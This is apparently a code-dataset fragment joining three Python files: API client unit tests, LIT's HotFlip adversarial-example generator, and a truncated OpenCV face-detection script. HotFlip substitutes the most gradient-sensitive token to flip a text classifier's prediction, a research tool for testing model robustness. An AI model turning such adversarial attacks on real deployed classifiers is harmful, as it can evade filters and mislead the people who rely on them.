\"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Author: Aniek Roelofs, James Diprose\n\n\"\"\"\n Observatory API\n\n The REST API for managing and accessing data from the Observatory Platform. # noqa: E501\n\n The version of the OpenAPI document: 1.0.0\n Contact: agent@observatory.academy\n Generated by: https://openapi-generator.tech\n\"\"\"\n\nimport copy\nimport datetime\nimport unittest\nfrom unittest.mock import patch\n\nimport pendulum\nimport pytz\n\nimport observatory.api.server.orm as orm\nfrom observatory.api.client import ApiClient, Configuration\nfrom observatory.api.client.api.observatory_api import ObservatoryApi # noqa: E501\nfrom observatory.api.client.exceptions import ApiException, ApiValueError, NotFoundException\nfrom observatory.api.client.model.organisation import Organisation\nfrom observatory.api.client.model.telescope import Telescope\nfrom observatory.api.client.model.telescope_type import TelescopeType\nfrom observatory.api.testing import ObservatoryApiEnvironment\nfrom tests.observatory.api.server.test_elastic import SCROLL_ID, Elasticsearch\n\nRES_EXAMPLE = {\n \"_scroll_id\": SCROLL_ID,\n \"hits\": {\n \"total\": {\"value\": 452},\n \"hits\": [\n {\n \"_index\": \"journals-institution-20201205\",\n \"_type\": \"_doc\",\n \"_id\": \"bQ88QXYBGinIh2YA4IaO\",\n \"_score\": None,\n \"_source\": {\n \"id\": \"example_id\",\n \"name\": \"Example Name\",\n \"published_year\": datetime.datetime(year=2018, month=12, day=31, tzinfo=pytz.UTC),\n },\n \"sort\": [77250],\n },\n {\n \"_index\": \"journals-institution-20201205\",\n \"_type\": \"_doc\",\n \"_id\": \"bQ88QXYBGinIh2YA4Ia1\",\n \"_score\": None,\n \"_source\": {\n \"id\": \"example_id2\",\n \"name\": \"Example Name2\",\n \"published_year\": datetime.datetime(year=2018, month=12, day=31, tzinfo=pytz.UTC),\n },\n \"sort\": [77251],\n },\n ],\n },\n}\n\n\ndef make_telescope_types(env: ObservatoryApiEnvironment, dt):\n # Add TelescopeType objects\n telescope_types = [\n (\"onix\", \"ONIX Telescope\"),\n (\"jstor\", \"JSTOR Telescope\"),\n (\"google_analytics\", \"Google Analytics Telescope\"),\n ]\n\n for type_id, name in telescope_types:\n env.session.add(orm.TelescopeType(type_id=type_id, name=name, created=dt, modified=dt))\n env.session.commit()\n\n return telescope_types\n\n\nclass TestObservatoryApi(unittest.TestCase):\n \"\"\"ObservatoryApi unit test stubs\"\"\"\n\n def setUp(self):\n self.timezone = \"Pacific/Auckland\"\n self.host = \"localhost\"\n self.port = 5001\n configuration = Configuration(host=f\"http://{self.host}:{self.port}\")\n api_client = ApiClient(configuration)\n self.api = ObservatoryApi(api_client=api_client) # noqa: E501\n self.env = ObservatoryApiEnvironment(host=self.host, port=self.port)\n\n def tearDown(self):\n pass\n\n def test_delete_organisation(self):\n \"\"\"Test case for delete_organisation\n\n delete an Organisation # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Post telescope\n expected_id = 1\n\n dt = pendulum.now(self.timezone)\n self.env.session.add(orm.Organisation(name=\"Curtin University\", created=dt, modified=dt))\n self.env.session.commit()\n\n result = self.api.delete_organisation(expected_id)\n\n with self.assertRaises(NotFoundException) as e:\n self.api.delete_organisation(expected_id)\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: Organisation with id {expected_id}\"\\n', e.exception.body)\n\n def test_delete_telescope(self):\n \"\"\"Test case for delete_telescope\n\n delete a Telescope # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Post telescope\n expected_id = 1\n\n telescope_type_name = \"ONIX Telescope\"\n org_name = \"Curtin University\"\n dt = pendulum.now(self.timezone)\n self.env.session.add(orm.TelescopeType(type_id=\"onix\", name=telescope_type_name, created=dt, modified=dt))\n self.env.session.add(orm.Organisation(name=org_name, created=dt, modified=dt))\n self.env.session.commit()\n self.env.session.add(\n orm.Telescope(\n organisation={\"id\": expected_id}, telescope_type={\"id\": expected_id}, created=dt, modified=dt\n )\n )\n self.env.session.commit()\n\n result = self.api.delete_telescope(expected_id)\n\n with self.assertRaises(NotFoundException) as e:\n self.api.delete_telescope(expected_id)\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: Telescope with id {expected_id}\"\\n', e.exception.body)\n\n def test_delete_telescope_type(self):\n \"\"\"Test case for delete_telescope_type\n\n delete a TelescopeType # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Post telescope\n expected_id = 1\n\n dt = pendulum.now(self.timezone)\n self.env.session.add(orm.TelescopeType(type_id=\"onix\", name=\"ONIX Telescope\", created=dt, modified=dt))\n self.env.session.commit()\n\n result = self.api.delete_telescope_type(expected_id)\n\n with self.assertRaises(NotFoundException) as e:\n self.api.delete_telescope_type(expected_id)\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: TelescopeType with id {expected_id}\"\\n', e.exception.body)\n\n def test_get_organisation(self):\n \"\"\"Test case for get_organisation\n\n get an Organisation # noqa: E501\n \"\"\"\n\n with self.env.create():\n expected_id = 1\n\n # Assert that TelescopeType with given id does not exist\n with self.assertRaises(NotFoundException) as e:\n self.api.get_telescope_type(id=expected_id)\n\n # Add TelescopeType\n name = \"Curtin University\"\n gcp_project_id = \"my-project-id\"\n gcp_download_bucket = \"my-download-bucket\"\n gcp_transform_bucket = \"my-transform-bucket\"\n dt = pendulum.now(self.timezone)\n dt_utc = dt.in_tz(tz=\"UTC\")\n self.env.session.add(\n orm.Organisation(\n name=name,\n gcp_project_id=gcp_project_id,\n gcp_download_bucket=gcp_download_bucket,\n gcp_transform_bucket=gcp_transform_bucket,\n created=dt,\n modified=dt,\n )\n )\n self.env.session.commit()\n\n # Assert that TelescopeType with given id exists\n obj = self.api.get_organisation(expected_id)\n self.assertIsInstance(obj, Organisation)\n self.assertEqual(expected_id, obj.id)\n self.assertEqual(name, obj.name)\n self.assertEqual(gcp_project_id, obj.gcp_project_id)\n self.assertEqual(gcp_download_bucket, obj.gcp_download_bucket)\n self.assertEqual(gcp_transform_bucket, obj.gcp_transform_bucket)\n self.assertEqual(dt_utc, obj.created)\n self.assertEqual(dt_utc, obj.modified)\n\n def test_get_organisations(self):\n \"\"\"Test case for get_organisations\n\n Get a list of Organisations # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Add Organisation objects\n names = [\"Curtin University\", \"Massachusetts Institute of Technology\", \"Harvard University\"]\n dt = pendulum.now(self.timezone)\n dt_utc = dt.in_tz(tz=\"UTC\")\n for name in names:\n self.env.session.add(orm.Organisation(name=name, created=dt, modified=dt))\n self.env.session.commit()\n\n # Assert that Organisation objects returned\n objects = self.api.get_organisations(limit=10)\n self.assertEqual(len(names), len(objects))\n for i, (obj, name) in enumerate(zip(objects, names)):\n expected_id = i + 1\n self.assertIsInstance(obj, Organisation)\n self.assertEqual(expected_id, obj.id)\n self.assertEqual(name, obj.name)\n self.assertEqual(dt_utc, obj.created)\n self.assertEqual(dt_utc, obj.modified)\n\n def test_get_telescope(self):\n \"\"\"Test case for get_telescope\n\n get a Telescope # noqa: E501\n \"\"\"\n\n with self.env.create():\n expected_id = 1\n\n # Assert that Telescope with given id does not exist\n with self.assertRaises(NotFoundException) as e:\n self.api.get_telescope(expected_id)\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: Telescope with id {expected_id}\"\\n', e.exception.body)\n\n # Add Telescope\n telescope_type_name = \"ONIX Telescope\"\n org_name = \"Curtin University\"\n dt = pendulum.now(self.timezone)\n dt_utc = dt.in_tz(tz=\"UTC\")\n self.env.session.add(orm.TelescopeType(type_id=\"onix\", name=telescope_type_name, created=dt, modified=dt))\n self.env.session.add(orm.Organisation(name=org_name, created=dt, modified=dt))\n self.env.session.commit()\n self.env.session.add(\n orm.Telescope(\n name=\"Curtin ONIX Telescope\",\n extra={\"view_id\": 123456},\n organisation={\"id\": expected_id},\n telescope_type={\"id\": expected_id},\n created=dt,\n modified=dt,\n )\n )\n self.env.session.commit()\n\n # Assert that Telescope with given id exists\n obj = self.api.get_telescope(expected_id)\n self.assertIsInstance(obj, Telescope)\n self.assertEqual(expected_id, obj.id)\n self.assertEqual(expected_id, obj.organisation.id)\n self.assertEqual(org_name, obj.organisation.name)\n self.assertEqual(expected_id, obj.telescope_type.id)\n self.assertEqual(telescope_type_name, obj.telescope_type.name)\n self.assertEqual(dt_utc, obj.created)\n self.assertEqual(dt_utc, obj.modified)\n\n def test_get_telescope_type(self):\n \"\"\"Test case for get_telescope_type\n\n get a TelescopeType # noqa: E501\n \"\"\"\n\n with self.env.create():\n expected_id = 1\n type_id = \"onix\"\n\n # Assert that TelescopeType with given id does not exist\n with self.assertRaises(NotFoundException) as e:\n self.api.get_telescope_type(id=expected_id)\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: TelescopeType with id {expected_id}\"\\n', e.exception.body)\n\n # Assert that TelescopeType with given type_id does not exist\n with self.assertRaises(NotFoundException) as e:\n self.api.get_telescope_type(type_id=type_id)\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: TelescopeType with type_id {type_id}\"\\n', e.exception.body)\n\n # Assert that 400 error raised: both missing\n expected_body = '\"At least one and only one of id or type_id must be specified\"\\n'\n with self.assertRaises(ApiException) as e:\n self.api.get_telescope_type()\n self.assertEqual(400, e.exception.status)\n self.assertEqual(expected_body, e.exception.body)\n\n # Assert that 400 error raised: both present\n with self.assertRaises(ApiException) as e:\n self.api.get_telescope_type(id=expected_id, type_id=type_id)\n self.assertEqual(400, e.exception.status)\n self.assertEqual(expected_body, e.exception.body)\n\n # Add TelescopeType\n name = \"ONIX Telescope\"\n dt = pendulum.now(self.timezone)\n dt_utc = dt.in_tz(tz=\"UTC\")\n self.env.session.add(orm.TelescopeType(type_id=type_id, name=name, created=dt, modified=dt))\n self.env.session.commit()\n\n # Assert that TelescopeType with given id exists\n obj = self.api.get_telescope_type(id=expected_id)\n self.assertIsInstance(obj, TelescopeType)\n self.assertEqual(expected_id, obj.id)\n self.assertEqual(name, obj.name)\n self.assertEqual(dt_utc, obj.created)\n self.assertEqual(dt_utc, obj.modified)\n\n # Assert that TelescopeType can be fetched with type_id\n obj = self.api.get_telescope_type(type_id=type_id)\n self.assertIsInstance(obj, TelescopeType)\n self.assertEqual(expected_id, obj.id)\n self.assertEqual(name, obj.name)\n self.assertEqual(dt_utc, obj.created)\n self.assertEqual(dt_utc, obj.modified)\n\n def test_get_telescope_types(self):\n \"\"\"Test case for get_telescope_types\n\n Get a list of TelescopeType objects # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Add TelescopeType objects\n dt = pendulum.now(self.timezone)\n dt_utc = dt.in_tz(tz=\"UTC\")\n telescope_types = make_telescope_types(self.env, dt)\n\n # Assert that TelescopeType objects returned\n objects = self.api.get_telescope_types(limit=10)\n self.assertEqual(len(telescope_types), len(objects))\n for i, (obj, (type_id, name)) in enumerate(zip(objects, telescope_types)):\n expected_id = i + 1\n self.assertIsInstance(obj, TelescopeType)\n self.assertEqual(expected_id, obj.id)\n self.assertEqual(type_id, obj.type_id)\n self.assertEqual(name, obj.name)\n self.assertEqual(dt_utc, obj.created)\n self.assertEqual(dt_utc, obj.modified)\n\n def test_get_telescopes(self):\n \"\"\"Test case for get_telescopes\n\n Get a list of Telescope objects # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Add TelescopeType objects\n dt = pendulum.now(self.timezone)\n make_telescope_types(self.env, dt)\n\n # Add Organisations\n names = [\"Curtin University\", \"Massachusetts Institute of Technology\"]\n for name in names:\n self.env.session.add(orm.Organisation(name=name, created=dt, modified=dt))\n self.env.session.commit()\n\n # Add Telescopes\n dt = pendulum.now(self.timezone)\n self.env.session.add(\n orm.Telescope(organisation={\"id\": 1}, telescope_type={\"id\": 1}, created=dt, modified=dt)\n )\n self.env.session.add(\n orm.Telescope(organisation={\"id\": 1}, telescope_type={\"id\": 2}, created=dt, modified=dt)\n )\n self.env.session.add(\n orm.Telescope(organisation={\"id\": 2}, telescope_type={\"id\": 1}, created=dt, modified=dt)\n )\n self.env.session.commit()\n\n # Assert that all Telescope objects returned\n objects = self.api.get_telescopes(limit=10)\n self.assertEqual(3, len(objects))\n\n # Assert that Organisation 1 Telescope objects returned\n objects = self.api.get_telescopes(organisation_id=1, limit=10)\n self.assertEqual(2, len(objects))\n\n # Assert that Organisation 2 Telescope objects returned\n objects = self.api.get_telescopes(organisation_id=2, limit=10)\n self.assertEqual(1, len(objects))\n\n # Assert that TelescopeType 1 Telescope objects returned\n objects = self.api.get_telescopes(telescope_type_id=1, limit=10)\n self.assertEqual(2, len(objects))\n\n # Assert that TelescopeType 2 Telescope objects returned\n objects = self.api.get_telescopes(telescope_type_id=2, limit=10)\n self.assertEqual(1, len(objects))\n\n def test_post_organisation(self):\n \"\"\"Test case for post_organisation\n\n create an Organisation # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Post telescope\n expected_id = 1\n obj = Organisation(name=\"Curtin University\")\n result = self.api.post_organisation(obj)\n self.assertIsInstance(result, Organisation)\n self.assertEqual(expected_id, result.id)\n\n def test_post_telescope(self):\n \"\"\"Test case for post_telescope\n\n create a Telescope # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Add TelescopeType and Organisation\n dt = pendulum.now(self.timezone)\n self.env.session.add(orm.TelescopeType(type_id=\"onix\", name=\"ONIX Telescope\", created=dt, modified=dt))\n self.env.session.add(orm.Organisation(name=\"Curtin University\", created=dt, modified=dt))\n self.env.session.commit()\n\n # Post telescope\n expected_id = 1\n obj = Telescope(\n name=\"Curtin University ONIX Telescope\",\n extra={\"view_id\": 123456},\n organisation=Organisation(id=expected_id),\n telescope_type=TelescopeType(id=expected_id),\n )\n result = self.api.post_telescope(obj)\n self.assertIsInstance(result, Telescope)\n self.assertEqual(expected_id, result.id)\n\n def test_post_telescope_type(self):\n \"\"\"Test case for post_telescope_type\n\n create a TelescopeType # noqa: E501\n \"\"\"\n\n with self.env.create():\n expected_id = 1\n obj = TelescopeType(type_id=\"onix\", name=\"ONIX Telescope\")\n result = self.api.post_telescope_type(obj)\n\n self.assertIsInstance(result, TelescopeType)\n self.assertEqual(expected_id, result.id)\n\n def test_put_organisation(self):\n \"\"\"Test case for put_organisation\n\n create or update an Organisation # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Put create\n expected_id = 1\n name = \"Curtin University\"\n obj = Organisation(name=name)\n result = self.api.put_organisation(obj)\n self.assertIsInstance(result, Organisation)\n self.assertEqual(expected_id, result.id)\n self.assertEqual(name, result.name)\n\n # Put update\n new_name = \"Massachusetts Institute of Technology\"\n obj = Organisation(id=expected_id, name=new_name)\n result = self.api.put_organisation(obj)\n self.assertIsInstance(result, Organisation)\n self.assertEqual(expected_id, result.id)\n self.assertEqual(new_name, result.name)\n\n # Put not found\n expected_id = 2\n with self.assertRaises(NotFoundException) as e:\n self.api.put_organisation(Organisation(id=expected_id, name=new_name))\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: Organisation with id {expected_id}\"\\n', e.exception.body)\n\n def test_put_telescope(self):\n \"\"\"Test case for put_telescope\n\n create or update a Telescope # noqa: E501\n \"\"\"\n\n with self.env.create():\n expected_id = 1\n dt = pendulum.now(self.timezone)\n self.env.session.add(orm.TelescopeType(type_id=\"onix\", name=\"ONIX Telescope\", created=dt, modified=dt))\n self.env.session.add(orm.Organisation(name=\"Curtin University\", created=dt, modified=dt))\n self.env.session.add(\n orm.Organisation(name=\"Massachusetts Institute of Technology\", created=dt, modified=dt)\n )\n self.env.session.commit()\n\n # Put create\n obj = Telescope(organisation=Organisation(id=expected_id), telescope_type=TelescopeType(id=expected_id))\n result = self.api.put_telescope(obj)\n self.assertIsInstance(result, Telescope)\n self.assertEqual(expected_id, result.id)\n\n # Put update\n name = \"Curtin ONIX Telescope\"\n extra = {\"view_id\": 123456}\n obj = Telescope(\n id=expected_id,\n name=name,\n extra=extra,\n organisation=Organisation(id=2),\n telescope_type=TelescopeType(id=expected_id),\n )\n result = self.api.put_telescope(obj)\n self.assertIsInstance(result, Telescope)\n self.assertEqual(expected_id, result.id)\n self.assertEqual(name, result.name)\n self.assertDictEqual(extra, result.extra)\n self.assertEqual(\"Massachusetts Institute of Technology\", result.organisation.name)\n\n # Put not found\n expected_id = 2\n with self.assertRaises(NotFoundException) as e:\n self.api.put_telescope(\n Telescope(\n id=expected_id,\n organisation=Organisation(id=expected_id),\n telescope_type=TelescopeType(id=expected_id),\n )\n )\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: Telescope with id {expected_id}\"\\n', e.exception.body)\n\n def test_put_telescope_type(self):\n \"\"\"Test case for put_telescope_type\n\n create or update a TelescopeType # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Put create\n expected_id = 1\n name = \"ONIX Telescope\"\n obj = TelescopeType(type_id=\"onix\", name=name)\n result = self.api.put_telescope_type(obj)\n self.assertIsInstance(result, TelescopeType)\n self.assertEqual(expected_id, result.id)\n self.assertEqual(name, result.name)\n\n # Put update\n new_name = \"Google Analytics Telescope\"\n obj = TelescopeType(type_id=\"google_analytics\", id=expected_id, name=new_name)\n result = self.api.put_telescope_type(obj)\n self.assertIsInstance(result, TelescopeType)\n self.assertEqual(expected_id, result.id)\n self.assertEqual(new_name, result.name)\n\n # Put not found\n expected_id = 2\n with self.assertRaises(NotFoundException) as e:\n self.api.put_telescope_type(TelescopeType(id=expected_id, name=new_name))\n self.assertEqual(404, e.exception.status)\n self.assertEqual(f'\"Not found: TelescopeType with id {expected_id}\"\\n', e.exception.body)\n\n @patch(\"observatory.api.server.elastic.Elasticsearch.scroll\")\n @patch(\"observatory.api.server.elastic.Elasticsearch.search\")\n @patch(\"observatory.api.server.api.create_es_connection\")\n def test_queryv1(self, mock_create_connection, mock_es_search, mock_es_scroll):\n \"\"\"Test case for queryv1\n\n Search the Observatory API # noqa: E501\n \"\"\"\n\n with self.env.create():\n # Test ElasticSearch connection is None\n mock_create_connection.return_value = None\n\n with self.assertRaises(ApiException) as e:\n self.api.queryv1(subset=\"citations\", agg=\"country\", limit=1000)\n self.assertEqual(400, e.exception.status)\n self.assertEqual('\"Elasticsearch environment variable for host or api key is empty\"\\n', e.exception.body)\n\n # Test successful query\n mock_create_connection.return_value = Elasticsearch()\n res = copy.deepcopy(RES_EXAMPLE)\n mock_es_scroll.return_value = res\n\n expected_results = {\n \"version\": \"v1\",\n \"index\": \"N/A\",\n \"scroll_id\": SCROLL_ID,\n \"returned_hits\": len(res[\"hits\"][\"hits\"]),\n \"total_hits\": res[\"hits\"][\"total\"][\"value\"],\n \"schema\": {\"schema\": \"to_be_created\"},\n \"results\": res[\"hits\"][\"hits\"],\n }\n\n response = self.api.queryv1(subset=\"citations\", agg=\"funder\", limit=1000, scroll_id=SCROLL_ID)\n self.assertEqual(expected_results[\"version\"], response.version)\n self.assertEqual(expected_results[\"index\"], response.index)\n self.assertEqual(expected_results[\"scroll_id\"], response.scroll_id)\n self.assertEqual(expected_results[\"returned_hits\"], response.returned_hits)\n self.assertEqual(expected_results[\"schema\"], response.schema)\n self.assertEqual(expected_results[\"results\"], response.results)\n\n # With search body, test with empty (invalid) subset and agg\n mock_es_search.return_value = copy.deepcopy(RES_EXAMPLE)\n\n with self.assertRaises(ApiValueError) as e:\n self.api.queryv1(subset=\"\", agg=\"\", limit=1000, scroll_id=SCROLL_ID)\n\n # With search body, test with valid alias and without index date\n with patch(\"elasticsearch.client.CatClient.aliases\") as mock_es_cat:\n res = copy.deepcopy(RES_EXAMPLE)\n mock_es_search.return_value = res\n index_name = \"citations-country-20201212\"\n mock_es_cat.return_value = [{\"index\": index_name}]\n expected_results = {\n \"version\": \"v1\",\n \"index\": index_name,\n \"scroll_id\": SCROLL_ID,\n \"returned_hits\": len(res[\"hits\"][\"hits\"]),\n \"total_hits\": res[\"hits\"][\"total\"][\"value\"],\n \"schema\": {\"schema\": \"to_be_created\"},\n \"results\": res[\"hits\"][\"hits\"],\n }\n\n response = self.api.queryv1(subset=\"citations\", agg=\"country\", limit=1000)\n self.assertEqual(expected_results[\"version\"], response.version)\n self.assertEqual(expected_results[\"index\"], response.index)\n self.assertEqual(expected_results[\"scroll_id\"], response.scroll_id)\n self.assertEqual(expected_results[\"returned_hits\"], response.returned_hits)\n self.assertEqual(expected_results[\"schema\"], response.schema)\n self.assertEqual(expected_results[\"results\"], response.results)\n\n # With search body, test with valid index date\n with patch(\"elasticsearch.client.IndicesClient.exists\") as mock_es_indices:\n res = copy.deepcopy(RES_EXAMPLE)\n mock_es_indices.return_value = True\n mock_es_search.return_value = res\n index_date = pendulum.date(year=2020, month=1, day=1)\n\n expected_results = {\n \"version\": \"v1\",\n \"index\": f\"citations-country-{index_date.strftime('%Y%m%d')}\",\n \"scroll_id\": SCROLL_ID,\n \"returned_hits\": len(res[\"hits\"][\"hits\"]),\n \"total_hits\": res[\"hits\"][\"total\"][\"value\"],\n \"schema\": {\"schema\": \"to_be_created\"},\n \"results\": res[\"hits\"][\"hits\"],\n }\n\n response = self.api.queryv1(subset=\"citations\", agg=\"country\", index_date=index_date, limit=1000)\n self.assertEqual(expected_results[\"version\"], response.version)\n self.assertEqual(expected_results[\"index\"], response.index)\n self.assertEqual(expected_results[\"scroll_id\"], response.scroll_id)\n self.assertEqual(expected_results[\"returned_hits\"], response.returned_hits)\n self.assertEqual(expected_results[\"schema\"], response.schema)\n self.assertEqual(expected_results[\"results\"], response.results)\n\n # With search body, test with invalid index date\n with patch(\"observatory.api.server.api.list_available_index_dates\") as mock_index_dates:\n res = copy.deepcopy(RES_EXAMPLE)\n mock_es_search.return_value = res\n\n mock_es_indices.return_value = False\n available_date = \"20201212\"\n mock_index_dates.return_value = [available_date]\n\n with self.assertRaises(ApiException) as e:\n self.api.queryv1(subset=\"citations\", agg=\"country\", index_date=index_date, limit=1000)\n\n self.assertEqual(400, e.exception.status)\n self.assertEqual(\n '\"Index does not exist: citations-country-20200101\\\\n Available dates for this '\n 'agg & subset:\\\\n20201212\"\\n',\n e.exception.body,\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/observatory/api/client/test_observatory_api.py","file_name":"test_observatory_api.py","file_ext":"py","file_size_in_byte":29585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"421489832","text":"# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n# Lint as: python3\n\"\"\"Hotflip generator that subsitutes an input token with another one.\n\nHotflip uses a single backward pass to estimate the gradient of substituting a\ntoken with another one, and then substitutes the token with the largest impact\non the loss. This implementation works at the token level.\n\nPaper: https://www.aclweb.org/anthology/P18-2006/\nHotFlip: White-Box Adversarial Examples for Text Classification\nJavid Ebrahimi, Anyi Rao, Daniel Lowd, Dejing Dou\nACL 2018.\n\"\"\"\n\nimport copy\nfrom typing import List, Text, Optional\n\nfrom absl import logging\nfrom lit_nlp.api import components as lit_components\nfrom lit_nlp.api import dataset as lit_dataset\nfrom lit_nlp.api import model as lit_model\nfrom lit_nlp.api import types\nfrom lit_nlp.lib import utils\nimport numpy as np\n\nJsonDict = types.JsonDict\nSpec = types.Spec\n\n\nclass HotFlip(lit_components.Generator):\n \"\"\"HotFlip generator.\"\"\"\n\n def find_fields(self, output_spec: Spec) -> List[Text]:\n # Find TokenGradients fields\n grad_fields = utils.find_spec_keys(output_spec, types.TokenGradients)\n\n # Check that these are aligned to Token fields\n for f in grad_fields:\n tokens_field = output_spec[f].align # pytype: disable=attribute-error\n assert tokens_field in output_spec, \"Tokens field not in output_spec\"\n assert isinstance(output_spec[tokens_field], types.Tokens)\n return grad_fields\n\n def generate(self,\n example: JsonDict,\n model: lit_model.Model,\n dataset: lit_dataset.Dataset,\n config: Optional[JsonDict] = None,\n num_examples: int = 1) -> List[JsonDict]:\n \"\"\"Use gradient to find/substitute the token with largest impact on loss.\"\"\"\n del dataset # Unused.\n\n assert model is not None, \"Please provide a model for this generator.\"\n logging.info(r\"W3lc0m3 t0 H0tFl1p \\o/\")\n logging.info(\"Original example: %r\", example)\n\n # Find gradient fields to use for HotFlip\n input_spec = model.input_spec()\n output_spec = model.output_spec()\n grad_fields = self.find_fields(output_spec)\n logging.info(\"Found gradient fields for HotFlip use: %s\", str(grad_fields))\n if len(grad_fields) == 0: # pylint: disable=g-explicit-length-test\n logging.info(\"No gradient fields found. Cannot use HotFlip. :-(\")\n return [] # Cannot generate examples without gradients.\n\n # Get model outputs.\n logging.info(\"Performing a forward/backward pass on the input example.\")\n model_output = model.predict_single(example)\n logging.info(model_output.keys())\n\n # Get model word embeddings and vocab.\n inv_vocab, embed = model.get_embedding_table()\n assert len(inv_vocab) == embed.shape[0], \"Vocab/embeddings size mismatch.\"\n logging.info(\"Vocab size: %d, Embedding size: %r\", len(inv_vocab),\n embed.shape)\n\n # Perform a flip in each sequence for which we have gradients (separately).\n # Each sequence may give rise to multiple new examples, depending on how\n # many words we flip.\n # TODO(lit-team): make configurable how many new examples are desired.\n # TODO(lit-team): use only 1 sequence as input (configurable in UI).\n new_examples = []\n for grad_field in grad_fields:\n\n # Get the tokens and their gradient vectors.\n token_field = output_spec[grad_field].align # pytype: disable=attribute-error\n tokens = model_output[token_field]\n grads = model_output[grad_field]\n\n # Identify the token with the largest gradient norm.\n # TODO(lit-team): consider normalizing across all grad fields or just\n # across each one individually.\n grad_norm = np.linalg.norm(grads, axis=1)\n grad_norm = grad_norm / np.sum(grad_norm) # Match grad attribution value.\n\n # Get a list of indices of input tokens, sorted by norm, highest first.\n sorted_by_grad_norm = np.argsort(grad_norm)[::-1]\n\n for i in range(min(num_examples, len(tokens))):\n token_id = sorted_by_grad_norm[i]\n logging.info(\"Selected token: %s (pos=%d) with gradient norm %f\",\n tokens[token_id], token_id, grad_norm[token_id])\n token_grad = grads[token_id]\n\n # Take dot product with all word embeddings. Get largest value.\n scores = np.dot(embed, token_grad)\n\n # TODO(lit-team): Can add criteria to the winner e.g. cosine distance.\n winner = np.argmax(scores)\n logging.info(\"Replacing [%s] (pos=%d) with option %d: [%s] (id=%d)\",\n tokens[token_id], token_id, i, inv_vocab[winner], winner)\n\n # Create a new input to the model.\n # TODO(iftenney, bastings): enforce somewhere that this field has the\n # same name in the input and output specs.\n input_token_field = token_field\n input_text_field = input_spec[input_token_field].parent # pytype: disable=attribute-error\n new_example = copy.deepcopy(example)\n modified_tokens = copy.copy(tokens)\n modified_tokens[token_id] = inv_vocab[winner]\n new_example[input_token_field] = modified_tokens\n # TODO(iftenney, bastings): call a model-provided detokenizer here?\n # Though in general tokenization isn't invertible and it's possible for\n # HotFlip to produce wordpiece sequences that don't correspond to any\n # input string.\n new_example[input_text_field] = \" \".join(modified_tokens)\n\n # Predict a new label for this example.\n new_output = model.predict_single(new_example)\n\n # Update label if multi-class prediction.\n # TODO(lit-dev): provide a general system for handling labels on\n # generated examples.\n for pred_key, pred_type in model.output_spec().items():\n if isinstance(pred_type, types.MulticlassPreds):\n probabilities = new_output[pred_key]\n prediction = np.argmax(probabilities)\n label_key = output_spec[pred_key].parent\n label_names = output_spec[pred_key].vocab\n new_label = label_names[prediction]\n new_example[label_key] = new_label\n logging.info(\"Updated example with new label: %s\", new_label)\n\n new_examples.append(new_example)\n\n return new_examples\n","sub_path":"lit_nlp/components/hotflip.py","file_name":"hotflip.py","file_ext":"py","file_size_in_byte":6856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"33712562","text":"from util.CommUtils import *\nimport numpy as np\nimport cv2\n\n\ndef preprocessing():\n image = cv2.imread(\"image/image2.jpg\", cv2.IMREAD_COLOR)\n\n if image is None: return None, None\n\n image = cv2.resize(image, (700, 700))\n\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n gray - cv2.equalizeHist(gray)\n\n return image, gray\n\n\nface_cascade = cv2.CascadeClassifier(\"data/haarcascade_frontalface_alt2.xml\")\neye_cascade = cv2.CascadeClassifier(\"data/haarcascade_eye_tree_eyeglasses.xml\")\n\nimage, gray = preprocessing()\n\nif image is None: raise Exception(\"영상 파일 읽기 에러\")\n\nfaces = face_cascade.detectMultiScale(gray, 1.1, 2, 0, (100, 100))\n\nif faces.any():\n x, y, w, h = faces[0]\n\n face_image = image[y: y + h, x: x + w]\n eyes = eye_cascade.detectMultiScale(face_image, 1.15, 7, 0, (25, 20))\n\n if len(eyes) == 2:\n face_center = (int(x + w // 2), int(y + h // 2),)\n eye_centers = [[int(x + ex + ew // 2), int(y + ey + eh // 2)] for ex, ey, ew, eh in eyes]\n\n correction_image, correction_center = do_correction_image(image, face_center, eye_centers)\n\n rois = doDetectObject(faces[0], face_center)\n base_mask = np.full(correction_image.shape[:2], 255, np.uint8)\n face_mask = draw_ellipse(base_mask, rois[3], 0, -1)\n lip_mask = draw_ellipse(np.copy(base_mask), rois[2], 255)\n\n masks = [face_mask, face_mask, lip_mask, ~lip_mask]\n masks = [mask[y:y + h, x: x + w] for mask, (x, y, w, h) in zip(masks, rois)]\n\n for i, mask in enumerate(masks):\n cv2.imshow('mask' + str(i), mask)\n\n subs = 